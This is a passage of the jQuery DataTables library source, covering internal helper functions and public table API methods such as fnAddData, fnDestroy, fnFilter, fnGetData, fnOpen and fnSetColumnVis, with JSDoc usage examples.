* @todo This doesn't take account of arrays inside the deep copied objects.
*/
function _fnExtend( oOut, oExtender )
{
var val;
for ( var prop in oExtender )
{
if ( oExtender.hasOwnProperty(prop) )
{
val = oExtender[prop];
if ( typeof oInit[prop] === 'object' && val !== null && $.isArray(val) === false )
{
$.extend( true, oOut[prop], val );
}
else
{
oOut[prop] = val;
}
}
}
return oOut;
}
/**
* Bind an event handers to allow a click or return key to activate the callback.
* This is good for accessibility since a return on the keyboard will have the
* same effect as a click, if the element has focus.
* @param {element} n Element to bind the action to
* @param {object} oData Data object to pass to the triggered function
* @param {function} fn Callback function for when the event is triggered
* @memberof DataTable#oApi
*/
function _fnBindAction( n, oData, fn )
{
$(n)
.bind( 'click.DT', oData, function (e) {
n.blur(); // Remove focus outline for mouse users
fn(e);
} )
.bind( 'keypress.DT', oData, function (e){
if ( e.which === 13 ) {
fn(e);
} } )
.bind( 'selectstart.DT', function () {
/* Take the brutal approach to cancelling text selection */
return false;
} );
}
/**
* Register a callback function. Easily allows a callback function to be added to
* an array store of callback functions that can then all be called together.
* @param {object} oSettings dataTables settings object
* @param {string} sStore Name of the array storage for the callbacks in oSettings
* @param {function} fn Function to be called back
* @param {string} sName Identifying name for the callback (i.e. a label)
* @memberof DataTable#oApi
*/
function _fnCallbackReg( oSettings, sStore, fn, sName )
{
if ( fn )
{
oSettings[sStore].push( {
"fn": fn,
"sName": sName
} );
}
}
/**
* Fire callback functions and trigger events. Note that the loop over the callback
* array store is done backwards! Further note that you do not want to fire off triggers
* in time sensitive applications (for example cell creation) as its slow.
* @param {object} oSettings dataTables settings object
* @param {string} sStore Name of the array storage for the callbacks in oSettings
* @param {string} sTrigger Name of the jQuery custom event to trigger. If null no trigger
* is fired
* @param {array} aArgs Array of arguments to pass to the callback function / trigger
* @memberof DataTable#oApi
*/
function _fnCallbackFire( oSettings, sStore, sTrigger, aArgs )
{
var aoStore = oSettings[sStore];
var aRet =[];
for ( var i=aoStore.length-1 ; i>=0 ; i-- )
{
aRet.push( aoStore[i].fn.apply( oSettings.oInstance, aArgs ) );
}
if ( sTrigger !== null )
{
$(oSettings.oInstance).trigger(sTrigger, aArgs);
}
return aRet;
}
/**
* JSON stringify. If JSON.stringify it provided by the browser, json2.js or any other
* library, then we use that as it is fast, safe and accurate. If the function isn't
* available then we need to built it ourselves - the inspiration for this function comes
* from Craig Buckler ( http://www.sitepoint.com/javascript-json-serialization/ ). It is
* not perfect and absolutely should not be used as a replacement to json2.js - but it does
* do what we need, without requiring a dependency for DataTables.
* @param {object} o JSON object to be converted
* @returns {string} JSON string
* @memberof DataTable#oApi
*/
var _fnJsonString = (window.JSON) ? JSON.stringify : function( o )
{
/* Not an object or array */
var sType = typeof o;
if (sType !== "object" || o === null)
{
// simple data type
if (sType === "string")
{
o = '"'+o+'"';
}
return o+"";
}
/* If object or array, need to recurse over it */
var
sProp, mValue,
json = [],
bArr = $.isArray(o);
for (sProp in o)
{
mValue = o[sProp];
sType = typeof mValue;
if (sType === "string")
{
mValue = '"'+mValue+'"';
}
else if (sType === "object" && mValue !== null)
{
mValue = _fnJsonString(mValue);
}
json.push((bArr ? "" : '"'+sProp+'":') + mValue);
}
return (bArr ? "[" : "{") + json + (bArr ? "]" : "}");
};
/**
* From some browsers (specifically IE6/7) we need special handling to work around browser
* bugs - this function is used to detect when these workarounds are needed.
* @param {object} oSettings dataTables settings object
* @memberof DataTable#oApi
*/
function _fnBrowserDetect( oSettings )
{
/* IE6/7 will oversize a width 100% element inside a scrolling element, to include the
* width of the scrollbar, while other browsers ensure the inner element is contained
* without forcing scrolling
*/
var n = $(
'<div style="position:absolute; top:0; left:0; height:1px; width:1px; overflow:hidden">'+
'<div style="position:absolute; top:1px; left:1px; width:100px; overflow:scroll;">'+
'<div id="DT_BrowserTest" style="width:100%; height:10px;"></div>'+
'</div>'+
'</div>')[0];
document.body.appendChild( n );
oSettings.oBrowser.bScrollOversize = $('#DT_BrowserTest', n)[0].offsetWidth === 100 ? true : false;
document.body.removeChild( n );
}
/**
* Perform a jQuery selector action on the table's TR elements (from the tbody) and
* return the resulting jQuery object.
* @param {string|node|jQuery} sSelector jQuery selector or node collection to act on
* @param {object} [oOpts] Optional parameters for modifying the rows to be included
* @param {string} [oOpts.filter=none] Select TR elements that meet the current filter
* criterion ("applied") or all TR elements (i.e. no filter).
* @param {string} [oOpts.order=current] Order of the TR elements in the processed array.
* Can be either 'current', whereby the current sorting of the table is used, or
* 'original' whereby the original order the data was read into the table is used.
* @param {string} [oOpts.page=all] Limit the selection to the currently displayed page
* ("current") or not ("all"). If 'current' is given, then order is assumed to be
* 'current' and filter is 'applied', regardless of what they might be given as.
* @returns {object} jQuery object, filtered by the given selector.
* @dtopt API
*
* @example
* $(document).ready(function() {
* var oTable = $('#example').dataTable();
*
* // Highlight every second row
* oTable.$('tr:odd').css('backgroundColor', 'blue');
* } );
*
* @example
* $(document).ready(function() {
* var oTable = $('#example').dataTable();
*
* // Filter to rows with 'Webkit' in them, add a background colour and then
* // remove the filter, thus highlighting the 'Webkit' rows only.
* oTable.fnFilter('Webkit');
* oTable.$('tr', {"filter": "applied"}).css('backgroundColor', 'blue');
* oTable.fnFilter('');
* } );
*/
this.$ = function ( sSelector, oOpts )
{
var i, iLen, a = [], tr;
var oSettings = _fnSettingsFromNode( this[DataTable.ext.iApiIndex] );
var aoData = oSettings.aoData;
var aiDisplay = oSettings.aiDisplay;
var aiDisplayMaster = oSettings.aiDisplayMaster;
if ( !oOpts )
{
oOpts = {};
}
oOpts = $.extend( {}, {
"filter": "none", // applied
"order": "current", // "original"
"page": "all" // current
}, oOpts );
// Current page implies that order=current and fitler=applied, since it is fairly
// senseless otherwise
if ( oOpts.page == 'current' )
{
for ( i=oSettings._iDisplayStart, iLen=oSettings.fnDisplayEnd() ; i<iLen ; i++ )
{
tr = aoData[ aiDisplay[i] ].nTr;
if ( tr )
{
a.push( tr );
}
}
}
else if ( oOpts.order == "current" && oOpts.filter == "none" )
{
for ( i=0, iLen=aiDisplayMaster.length ; i<iLen ; i++ )
{
tr = aoData[ aiDisplayMaster[i] ].nTr;
if ( tr )
{
a.push( tr );
}
}
}
else if ( oOpts.order == "current" && oOpts.filter == "applied" )
{
for ( i=0, iLen=aiDisplay.length ; i<iLen ; i++ )
{
tr = aoData[ aiDisplay[i] ].nTr;
if ( tr )
{
a.push( tr );
}
}
}
else if ( oOpts.order == "original" && oOpts.filter == "none" )
{
for ( i=0, iLen=aoData.length ; i<iLen ; i++ )
{
tr = aoData[ i ].nTr ;
if ( tr )
{
a.push( tr );
}
}
}
else if ( oOpts.order == "original" && oOpts.filter == "applied" )
{
for ( i=0, iLen=aoData.length ; i<iLen ; i++ )
{
tr = aoData[ i ].nTr;
if ( $.inArray( i, aiDisplay ) !== -1 && tr )
{
a.push( tr );
}
}
}
else
{
_fnLog( oSettings, 1, "Unknown selection options" );
}
/* We need to filter on the TR elements and also 'find' in their descendants
* to make the selector act like it would in a full table - so we need
* to build both results and then combine them together
*/
var jqA = $(a);
var jqTRs = jqA.filter( sSelector );
var jqDescendants = jqA.find( sSelector );
return $( [].concat($.makeArray(jqTRs), $.makeArray(jqDescendants)) );
};
/**
* Almost identical to $ in operation, but in this case returns the data for the matched
* rows - as such, the jQuery selector used should match TR row nodes or TD/TH cell nodes
* rather than any descendants, so the data can be obtained for the row/cell. If matching
* rows are found, the data returned is the original data array/object that was used to
* create the row (or a generated array if from a DOM source).
*
* This method is often useful in-combination with $ where both functions are given the
* same parameters and the array indexes will match identically.
* @param {string|node|jQuery} sSelector jQuery selector or node collection to act on
* @param {object} [oOpts] Optional parameters for modifying the rows to be included
* @param {string} [oOpts.filter=none] Select elements that meet the current filter
* criterion ("applied") or all elements (i.e. no filter).
* @param {string} [oOpts.order=current] Order of the data in the processed array.
* Can be either 'current', whereby the current sorting of the table is used, or
* 'original' whereby the original order the data was read into the table is used.
* @param {string} [oOpts.page=all] Limit the selection to the currently displayed page
* ("current") or not ("all"). If 'current' is given, then order is assumed to be
* 'current' and filter is 'applied', regardless of what they might be given as.
* @returns {array} Data for the matched elements. If any elements, as a result of the
* selector, were not TR, TD or TH elements in the DataTable, they will have a null
* entry in the array.
* @dtopt API
*
* @example
* $(document).ready(function() {
* var oTable = $('#example').dataTable();
*
* // Get the data from the first row in the table
* var data = oTable._('tr:first');
*
* // Do something useful with the data
* alert( "First cell is: "+data[0] );
* } );
*
* @example
* $(document).ready(function() {
* var oTable = $('#example').dataTable();
*
* // Filter to 'Webkit' and get all data for
* oTable.fnFilter('Webkit');
* var data = oTable._('tr', {"filter": "applied"});
*
* // Do something with the data
* alert( data.length+" rows matched the filter" );
* } );
*/
this._ = function ( sSelector, oOpts )
{
var aOut = [];
var i, iLen, iIndex;
var aTrs = this.$( sSelector, oOpts );
for ( i=0, iLen=aTrs.length ; i<iLen ; i++ )
{
aOut.push( this.fnGetData(aTrs[i]) );
}
return aOut;
};
/**
* Add a single new row or multiple rows of data to the table. Please note
* that this is suitable for client-side processing only - if you are using
* server-side processing (i.e. "bServerSide": true), then to add data, you
* must add it to the data source, i.e. the server-side, through an Ajax call.
* @param {array|object} mData The data to be added to the table. This can be:
* <ul>
* <li>1D array of data - add a single row with the data provided</li>
* <li>2D array of arrays - add multiple rows in a single call</li>
* <li>object - data object when using <i>mData</i></li>
* <li>array of objects - multiple data objects when using <i>mData</i></li>
* </ul>
* @param {bool} [bRedraw=true] redraw the table or not
* @returns {array} An array of integers, representing the list of indexes in
* <i>aoData</i> ({@link DataTable.models.oSettings}) that have been added to
* the table.
* @dtopt API
*
* @example
* // Global var for counter
* var giCount = 2;
*
* $(document).ready(function() {
* $('#example').dataTable();
* } );
*
* function fnClickAddRow() {
* $('#example').dataTable().fnAddData( [
* giCount+".1",
* giCount+".2",
* giCount+".3",
* giCount+".4" ]
* );
*
* giCount++;
* }
*/
this.fnAddData = function( mData, bRedraw )
{
if ( mData.length === 0 )
{
return [];
}
var aiReturn = [];
var iTest;
/* Find settings from table node */
var oSettings = _fnSettingsFromNode( this[DataTable.ext.iApiIndex] );
/* Check if we want to add multiple rows or not */
if ( typeof mData[0] === "object" && mData[0] !== null )
{
for ( var i=0 ; i<mData.length ; i++ )
{
iTest = _fnAddData( oSettings, mData[i] );
if ( iTest == -1 )
{
return aiReturn;
}
aiReturn.push( iTest );
}
}
else
{
iTest = _fnAddData( oSettings, mData );
if ( iTest == -1 )
{
return aiReturn;
}
aiReturn.push( iTest );
}
oSettings.aiDisplay = oSettings.aiDisplayMaster.slice();
if ( bRedraw === undefined || bRedraw )
{
_fnReDraw( oSettings );
}
return aiReturn;
};
/**
* This function will make DataTables recalculate the column sizes, based on the data
* contained in the table and the sizes applied to the columns (in the DOM, CSS or
* through the sWidth parameter). This can be useful when the width of the table's
* parent element changes (for example a window resize).
* @param {boolean} [bRedraw=true] Redraw the table or not, you will typically want to
* @dtopt API
*
* @example
* $(document).ready(function() {
* var oTable = $('#example').dataTable( {
* "sScrollY": "200px",
* "bPaginate": false
* } );
*
* $(window).bind('resize', function () {
* oTable.fnAdjustColumnSizing();
* } );
* } );
*/
this.fnAdjustColumnSizing = function ( bRedraw )
{
var oSettings = _fnSettingsFromNode(this[DataTable.ext.iApiIndex]);
_fnAdjustColumnSizing( oSettings );
if ( bRedraw === undefined || bRedraw )
{
this.fnDraw( false );
}
else if ( oSettings.oScroll.sX !== "" || oSettings.oScroll.sY !== "" )
{
/* If not redrawing, but scrolling, we want to apply the new column sizes anyway */
this.oApi._fnScrollDraw(oSettings);
}
};
/**
* Quickly and simply clear a table
* @param {bool} [bRedraw=true] redraw the table or not
* @dtopt API
*
* @example
* $(document).ready(function() {
* var oTable = $('#example').dataTable();
*
* // Immediately 'nuke' the current rows (perhaps waiting for an Ajax callback...)
* oTable.fnClearTable();
* } );
*/
this.fnClearTable = function( bRedraw )
{
/* Find settings from table node */
var oSettings = _fnSettingsFromNode( this[DataTable.ext.iApiIndex] );
_fnClearTable( oSettings );
if ( bRedraw === undefined || bRedraw )
{
_fnDraw( oSettings );
}
};
/**
* The exact opposite of 'opening' a row, this function will close any rows which
* are currently 'open'.
* @param {node} nTr the table row to 'close'
* @returns {int} 0 on success, or 1 if failed (can't find the row)
* @dtopt API
*
* @example
* $(document).ready(function() {
* var oTable;
*
* // 'open' an information row when a row is clicked on
* $('#example tbody tr').click( function () {
* if ( oTable.fnIsOpen(this) ) {
* oTable.fnClose( this );
* } else {
* oTable.fnOpen( this, "Temporary row opened", "info_row" );
* }
* } );
*
* oTable = $('#example').dataTable();
* } );
*/
this.fnClose = function( nTr )
{
/* Find settings from table node */
var oSettings = _fnSettingsFromNode( this[DataTable.ext.iApiIndex] );
for ( var i=0 ; i<oSettings.aoOpenRows.length ; i++ )
{
if ( oSettings.aoOpenRows[i].nParent == nTr )
{
var nTrParent = oSettings.aoOpenRows[i].nTr.parentNode;
if ( nTrParent )
{
/* Remove it if it is currently on display */
nTrParent.removeChild( oSettings.aoOpenRows[i].nTr );
}
oSettings.aoOpenRows.splice( i, 1 );
return 0;
}
}
return 1;
};
/**
* Remove a row for the table
* @param {mixed} mTarget The index of the row from aoData to be deleted, or
* the TR element you want to delete
* @param {function|null} [fnCallBack] Callback function
* @param {bool} [bRedraw=true] Redraw the table or not
* @returns {array} The row that was deleted
* @dtopt API
*
* @example
* $(document).ready(function() {
* var oTable = $('#example').dataTable();
*
* // Immediately remove the first row
* oTable.fnDeleteRow( 0 );
* } );
*/
this.fnDeleteRow = function( mTarget, fnCallBack, bRedraw )
{
/* Find settings from table node */
var oSettings = _fnSettingsFromNode( this[DataTable.ext.iApiIndex] );
var i, iLen, iAODataIndex;
iAODataIndex = (typeof mTarget === 'object') ?
_fnNodeToDataIndex(oSettings, mTarget) : mTarget;
/* Return the data array from this row */
var oData = oSettings.aoData.splice( iAODataIndex, 1 );
/* Update the _DT_RowIndex parameter */
for ( i=0, iLen=oSettings.aoData.length ; i<iLen ; i++ )
{
if ( oSettings.aoData[i].nTr !== null )
{
oSettings.aoData[i].nTr._DT_RowIndex = i;
}
}
/* Remove the target row from the search array */
var iDisplayIndex = $.inArray( iAODataIndex, oSettings.aiDisplay );
oSettings.asDataSearch.splice( iDisplayIndex, 1 );
/* Delete from the display arrays */
_fnDeleteIndex( oSettings.aiDisplayMaster, iAODataIndex );
_fnDeleteIndex( oSettings.aiDisplay, iAODataIndex );
/* If there is a user callback function - call it */
if ( typeof fnCallBack === "function" )
{
fnCallBack.call( this, oSettings, oData );
}
/* Check for an 'overflow' they case for displaying the table */
if ( oSettings._iDisplayStart >= oSettings.fnRecordsDisplay() )
{
oSettings._iDisplayStart -= oSettings._iDisplayLength;
if ( oSettings._iDisplayStart < 0 )
{
oSettings._iDisplayStart = 0;
}
}
if ( bRedraw === undefined || bRedraw )
{
_fnCalculateEnd( oSettings );
_fnDraw( oSettings );
}
return oData;
};
/**
* Restore the table to it's original state in the DOM by removing all of DataTables
* enhancements, alterations to the DOM structure of the table and event listeners.
* @param {boolean} [bRemove=false] Completely remove the table from the DOM
* @dtopt API
*
* @example
* $(document).ready(function() {
* // This example is fairly pointless in reality, but shows how fnDestroy can be used
* var oTable = $('#example').dataTable();
* oTable.fnDestroy();
* } );
*/
this.fnDestroy = function ( bRemove )
{
var oSettings = _fnSettingsFromNode( this[DataTable.ext.iApiIndex] );
var nOrig = oSettings.nTableWrapper.parentNode;
var nBody = oSettings.nTBody;
var i, iLen;
bRemove = (bRemove===undefined) ? false : bRemove;
/* Flag to note that the table is currently being destroyed - no action should be taken */
oSettings.bDestroying = true;
/* Fire off the destroy callbacks for plug-ins etc */
_fnCallbackFire( oSettings, "aoDestroyCallback", "destroy", [oSettings] );
/* If the table is not being removed, restore the hidden columns */
if ( !bRemove )
{
for ( i=0, iLen=oSettings.aoColumns.length ; i<iLen ; i++ )
{
if ( oSettings.aoColumns[i].bVisible === false )
{
this.fnSetColumnVis( i, true );
}
}
}
/* Blitz all DT events */
$(oSettings.nTableWrapper).find('*').andSelf().unbind('.DT');
/* If there is an 'empty' indicator row, remove it */
$('tbody>tr>td.'+oSettings.oClasses.sRowEmpty, oSettings.nTable).parent().remove();
/* When scrolling we had to break the table up - restore it */
if ( oSettings.nTable != oSettings.nTHead.parentNode )
{
$(oSettings.nTable).children('thead').remove();
oSettings.nTable.appendChild( oSettings.nTHead );
}
if ( oSettings.nTFoot && oSettings.nTable != oSettings.nTFoot.parentNode )
{
$(oSettings.nTable).children('tfoot').remove();
oSettings.nTable.appendChild( oSettings.nTFoot );
}
/* Remove the DataTables generated nodes, events and classes */
oSettings.nTable.parentNode.removeChild( oSettings.nTable );
$(oSettings.nTableWrapper).remove();
oSettings.aaSorting = [];
oSettings.aaSortingFixed = [];
_fnSortingClasses( oSettings );
$(_fnGetTrNodes( oSettings )).removeClass( oSettings.asStripeClasses.join(' ') );
$('th, td', oSettings.nTHead).removeClass( [
oSettings.oClasses.sSortable,
oSettings.oClasses.sSortableAsc,
oSettings.oClasses.sSortableDesc,
oSettings.oClasses.sSortableNone ].join(' ')
);
if ( oSettings.bJUI )
{
$('th span.'+oSettings.oClasses.sSortIcon
+ ', td span.'+oSettings.oClasses.sSortIcon, oSettings.nTHead).remove();
$('th, td', oSettings.nTHead).each( function () {
var jqWrapper = $('div.'+oSettings.oClasses.sSortJUIWrapper, this);
var kids = jqWrapper.contents();
$(this).append( kids );
jqWrapper.remove();
} );
}
/* Add the TR elements back into the table in their original order */
if ( !bRemove && oSettings.nTableReinsertBefore )
{
nOrig.insertBefore( oSettings.nTable, oSettings.nTableReinsertBefore );
}
else if ( !bRemove )
{
nOrig.appendChild( oSettings.nTable );
}
for ( i=0, iLen=oSettings.aoData.length ; i<iLen ; i++ )
{
if ( oSettings.aoData[i].nTr !== null )
{
nBody.appendChild( oSettings.aoData[i].nTr );
}
}
/* Restore the width of the original table */
if ( oSettings.oFeatures.bAutoWidth === true )
{
oSettings.nTable.style.width = _fnStringToCss(oSettings.sDestroyWidth);
}
/* If the were originally stripe classes - then we add them back here. Note
* this is not fool proof (for example if not all rows had stripe classes - but
* it's a good effort without getting carried away
*/
iLen = oSettings.asDestroyStripes.length;
if (iLen)
{
var anRows = $(nBody).children('tr');
for ( i=0 ; i<iLen ; i++ )
{
anRows.filter(':nth-child(' + iLen + 'n + ' + i + ')').addClass( oSettings.asDestroyStripes[i] );
}
}
/* Remove the settings object from the settings array */
for ( i=0, iLen=DataTable.settings.length ; i<iLen ; i++ )
{
if ( DataTable.settings[i] == oSettings )
{
DataTable.settings.splice( i, 1 );
}
}
/* End it all */
oSettings = null;
oInit = null;
};
/**
* Redraw the table
* @param {bool} [bComplete=true] Re-filter and resort (if enabled) the table before the draw.
* @dtopt API
*
* @example
* $(document).ready(function() {
* var oTable = $('#example').dataTable();
*
* // Re-draw the table - you wouldn't want to do it here, but it's an example :-)
* oTable.fnDraw();
* } );
*/
this.fnDraw = function( bComplete )
{
var oSettings = _fnSettingsFromNode( this[DataTable.ext.iApiIndex] );
if ( bComplete === false )
{
_fnCalculateEnd( oSettings );
_fnDraw( oSettings );
}
else
{
_fnReDraw( oSettings );
}
};
/**
* Filter the input based on data
* @param {string} sInput String to filter the table on
* @param {int|null} [iColumn] Column to limit filtering to
* @param {bool} [bRegex=false] Treat as regular expression or not
* @param {bool} [bSmart=true] Perform smart filtering or not
* @param {bool} [bShowGlobal=true] Show the input global filter in it's input box(es)
* @param {bool} [bCaseInsensitive=true] Do case-insensitive matching (true) or not (false)
* @dtopt API
*
* @example
* $(document).ready(function() {
* var oTable = $('#example').dataTable();
*
* // Sometime later - filter...
* oTable.fnFilter( 'test string' );
* } );
*/
this.fnFilter = function( sInput, iColumn, bRegex, bSmart, bShowGlobal, bCaseInsensitive )
{
var oSettings = _fnSettingsFromNode( this[DataTable.ext.iApiIndex] );
if ( !oSettings.oFeatures.bFilter )
{
return;
}
if ( bRegex === undefined || bRegex === null )
{
bRegex = false;
}
if ( bSmart === undefined || bSmart === null )
{
bSmart = true;
}
if ( bShowGlobal === undefined || bShowGlobal === null )
{
bShowGlobal = true;
}
if ( bCaseInsensitive === undefined || bCaseInsensitive === null )
{
bCaseInsensitive = true;
}
if ( iColumn === undefined || iColumn === null )
{
/* Global filter */
_fnFilterComplete( oSettings, {
"sSearch":sInput+"",
"bRegex": bRegex,
"bSmart": bSmart,
"bCaseInsensitive": bCaseInsensitive
}, 1 );
if ( bShowGlobal && oSettings.aanFeatures.f )
{
var n = oSettings.aanFeatures.f;
for ( var i=0, iLen=n.length ; i<iLen ; i++ )
{
// IE9 throws an 'unknown error' if document.activeElement is used
// inside an iframe or frame...
try {
if ( n[i]._DT_Input != document.activeElement )
{
$(n[i]._DT_Input).val( sInput );
}
}
catch ( e ) {
$(n[i]._DT_Input).val( sInput );
}
}
}
}
else
{
/* Single column filter */
$.extend( oSettings.aoPreSearchCols[ iColumn ], {
"sSearch": sInput+"",
"bRegex": bRegex,
"bSmart": bSmart,
"bCaseInsensitive": bCaseInsensitive
} );
_fnFilterComplete( oSettings, oSettings.oPreviousSearch, 1 );
}
};
/**
* Get the data for the whole table, an individual row or an individual cell based on the
* provided parameters.
* @param {int|node} [mRow] A TR row node, TD/TH cell node or an integer. If given as
* a TR node then the data source for the whole row will be returned. If given as a
* TD/TH cell node then iCol will be automatically calculated and the data for the
* cell returned. If given as an integer, then this is treated as the aoData internal
* data index for the row (see fnGetPosition) and the data for that row used.
* @param {int} [iCol] Optional column index that you want the data of.
* @returns {array|object|string} If mRow is undefined, then the data for all rows is
* returned. If mRow is defined, just data for that row, and is iCol is
* defined, only data for the designated cell is returned.
* @dtopt API
*
* @example
* // Row data
* $(document).ready(function() {
* oTable = $('#example').dataTable();
*
* oTable.$('tr').click( function () {
* var data = oTable.fnGetData( this );
* // ... do something with the array / object of data for the row
* } );
* } );
*
* @example
* // Individual cell data
* $(document).ready(function() {
* oTable = $('#example').dataTable();
*
* oTable.$('td').click( function () {
* var sData = oTable.fnGetData( this );
* alert( 'The cell clicked on had the value of '+sData );
* } );
* } );
*/
this.fnGetData = function( mRow, iCol )
{
var oSettings = _fnSettingsFromNode( this[DataTable.ext.iApiIndex] );
if ( mRow !== undefined )
{
var iRow = mRow;
if ( typeof mRow === 'object' )
{
var sNode = mRow.nodeName.toLowerCase();
if (sNode === "tr" )
{
iRow = _fnNodeToDataIndex(oSettings, mRow);
}
else if ( sNode === "td" )
{
iRow = _fnNodeToDataIndex(oSettings, mRow.parentNode);
iCol = _fnNodeToColumnIndex( oSettings, iRow, mRow );
}
}
if ( iCol !== undefined )
{
return _fnGetCellData( oSettings, iRow, iCol, '' );
}
return (oSettings.aoData[iRow]!==undefined) ?
oSettings.aoData[iRow]._aData : null;
}
return _fnGetDataMaster( oSettings );
};
/**
* Get an array of the TR nodes that are used in the table's body. Note that you will
* typically want to use the '$' API method in preference to this as it is more
* flexible.
* @param {int} [iRow] Optional row index for the TR element you want
* @returns {array|node} If iRow is undefined, returns an array of all TR elements
* in the table's body, or iRow is defined, just the TR element requested.
* @dtopt API
*
* @example
* $(document).ready(function() {
* var oTable = $('#example').dataTable();
*
* // Get the nodes from the table
* var nNodes = oTable.fnGetNodes( );
* } );
*/
this.fnGetNodes = function( iRow )
{
var oSettings = _fnSettingsFromNode( this[DataTable.ext.iApiIndex] );
if ( iRow !== undefined ) {
return (oSettings.aoData[iRow]!==undefined) ?
oSettings.aoData[iRow].nTr : null;
}
return _fnGetTrNodes( oSettings );
};
/**
* Get the array indexes of a particular cell from it's DOM element
* and column index including hidden columns
* @param {node} nNode this can either be a TR, TD or TH in the table's body
* @returns {int} If nNode is given as a TR, then a single index is returned, or
* if given as a cell, an array of [row index, column index (visible),
* column index (all)] is given.
* @dtopt API
*
* @example
* $(document).ready(function() {
* $('#example tbody td').click( function () {
* // Get the position of the current data from the node
* var aPos = oTable.fnGetPosition( this );
*
* // Get the data array for this row
* var aData = oTable.fnGetData( aPos[0] );
*
* // Update the data array and return the value
* aData[ aPos[1] ] = 'clicked';
* this.innerHTML = 'clicked';
* } );
*
* // Init DataTables
* oTable = $('#example').dataTable();
* } );
*/
this.fnGetPosition = function( nNode )
{
var oSettings = _fnSettingsFromNode( this[DataTable.ext.iApiIndex] );
var sNodeName = nNode.nodeName.toUpperCase();
if ( sNodeName == "TR" )
{
return _fnNodeToDataIndex(oSettings, nNode);
}
else if ( sNodeName == "TD" || sNodeName == "TH" )
{
var iDataIndex = _fnNodeToDataIndex( oSettings, nNode.parentNode );
var iColumnIndex = _fnNodeToColumnIndex( oSettings, iDataIndex, nNode );
return [ iDataIndex, _fnColumnIndexToVisible(oSettings, iColumnIndex ), iColumnIndex ];
}
return null;
};
/**
* Check to see if a row is 'open' or not.
* @param {node} nTr the table row to check
* @returns {boolean} true if the row is currently open, false otherwise
* @dtopt API
*
* @example
* $(document).ready(function() {
* var oTable;
*
* // 'open' an information row when a row is clicked on
* $('#example tbody tr').click( function () {
* if ( oTable.fnIsOpen(this) ) {
* oTable.fnClose( this );
* } else {
* oTable.fnOpen( this, "Temporary row opened", "info_row" );
* }
* } );
*
* oTable = $('#example').dataTable();
* } );
*/
this.fnIsOpen = function( nTr )
{
var oSettings = _fnSettingsFromNode( this[DataTable.ext.iApiIndex] );
var aoOpenRows = oSettings.aoOpenRows;
for ( var i=0 ; i<oSettings.aoOpenRows.length ; i++ )
{
if ( oSettings.aoOpenRows[i].nParent == nTr )
{
return true;
}
}
return false;
};
/**
* This function will place a new row directly after a row which is currently
* on display on the page, with the HTML contents that is passed into the
* function. This can be used, for example, to ask for confirmation that a
* particular record should be deleted.
* @param {node} nTr The table row to 'open'
* @param {string|node|jQuery} mHtml The HTML to put into the row
* @param {string} sClass Class to give the new TD cell
* @returns {node} The row opened. Note that if the table row passed in as the
* first parameter, is not found in the table, this method will silently
* return.
* @dtopt API
*
* @example
* $(document).ready(function() {
* var oTable;
*
* // 'open' an information row when a row is clicked on
* $('#example tbody tr').click( function () {
* if ( oTable.fnIsOpen(this) ) {
* oTable.fnClose( this );
* } else {
* oTable.fnOpen( this, "Temporary row opened", "info_row" );
* }
* } );
*
* oTable = $('#example').dataTable();
* } );
*/
this.fnOpen = function( nTr, mHtml, sClass )
{
/* Find settings from table node */
var oSettings = _fnSettingsFromNode( this[DataTable.ext.iApiIndex] );
/* Check that the row given is in the table */
var nTableRows = _fnGetTrNodes( oSettings );
if ( $.inArray(nTr, nTableRows) === -1 )
{
return;
}
/* the old open one if there is one */
this.fnClose( nTr );
var nNewRow = document.createElement("tr");
var nNewCell = document.createElement("td");
nNewRow.appendChild( nNewCell );
nNewCell.className = sClass;
nNewCell.colSpan = _fnVisbleColumns( oSettings );
if (typeof mHtml === "string")
{
nNewCell.innerHTML = mHtml;
}
else
{
$(nNewCell).html( mHtml );
}
/* If the nTr isn't on the page at the moment - then we don't insert at the moment */
var nTrs = $('tr', oSettings.nTBody);
if ( $.inArray(nTr, nTrs) != -1 )
{
$(nNewRow).insertAfter(nTr);
}
oSettings.aoOpenRows.push( {
"nTr": nNewRow,
"nParent": nTr
} );
return nNewRow;
};
/**
* Change the pagination - provides the internal logic for pagination in a simple API
* function. With this function you can have a DataTables table go to the next,
* previous, first or last pages.
* @param {string|int} mAction Paging action to take: "first", "previous", "next" or "last"
* or page number to jump to (integer), note that page 0 is the first page.
* @param {bool} [bRedraw=true] Redraw the table or not
* @dtopt API
*
* @example
* $(document).ready(function() {
* var oTable = $('#example').dataTable();
* oTable.fnPageChange( 'next' );
* } );
*/
this.fnPageChange = function ( mAction, bRedraw )
{
var oSettings = _fnSettingsFromNode( this[DataTable.ext.iApiIndex] );
_fnPageChange( oSettings, mAction );
_fnCalculateEnd( oSettings );
if ( bRedraw === undefined || bRedraw )
{
_fnDraw( oSettings );
}
};
/**
* Show a particular column
* @param {int} iCol The column whose display should be changed
* @param {bool} bShow Show (true) or hide (false) the column
* @param {bool} [bRedraw=true] Redraw the table or not
* @dtopt API
*
* @example
* $(document).ready(function() {
* var oTable = $('#example').dataTable();
*
* // Hide the second column after initialisation
* oTable.fnSetColumnVis( 1, false );
* } );
*/
this.fnSetColumnVis = function ( iCol, bShow, bRedraw )
{
var oSettings = _fnSettingsFromNode( this[DataTable.ext.iApiIndex] );
var i, iLen;
var aoColumns = oSettings.aoColumns;
var aoData = oSettings.aoData;
var nTd, bAppend, iBefore;
/* No point in doing anything if we are requesting what is already true */
if ( aoColumns[iCol].bVisible == bShow )
{
return;
}
/* Show the column */
if ( bShow )
{
var iInsert = 0;
for ( i=0 ; i<iCol ; i++ )
{
if ( aoColumns[i].bVisible )
{
iInsert++;
}
}
/* Need to decide if we should use appendChild or insertBefore */
bAppend = (iInsert >= _fnVisbleColumns( oSettings ));
/* Which coloumn should we be inserting before? */
if ( !bAppend )
{
for ( i=iCol ; i<aoColumns.length ; i++ )
{
if ( aoColumns[i].bVisible )
{
iBefore = i;
break;
}
}
}
for ( i=0, iLen=aoData.length ; i<iLen ; i++ )
{
if ( aoData[i].nTr !== null )
{
if ( bAppend )
{
aoData[i].nTr.appendChild(
aoData[i]._anHidden[iCol]
);
}
else
{
aoData[i].nTr.insertBefore(
aoData[i]._anHidden[iCol],
_fnGetTdNodes( oSettings, i )[iBefore] );
}
}
}
}
else
{
/* Remove a column from display */
for ( i=0, iLen=aoData.length ; i<iLen ; i++ )
{
if ( aoData[i].nTr !== null )
{
nTd = _fnGetTdNodes( oSettings, i )[iCol];
aoData[i]._anHidden[iCol] = nTd;
nTd.parentNode.removeChild( nTd );
}
}
}
/* Clear to set the visible flag */
aoColumns[iCol].bVisible = bShow;
/* Redraw the header and footer based on the new column visibility */
_fnDrawHead( oSettings, oSettings.aoHeader );
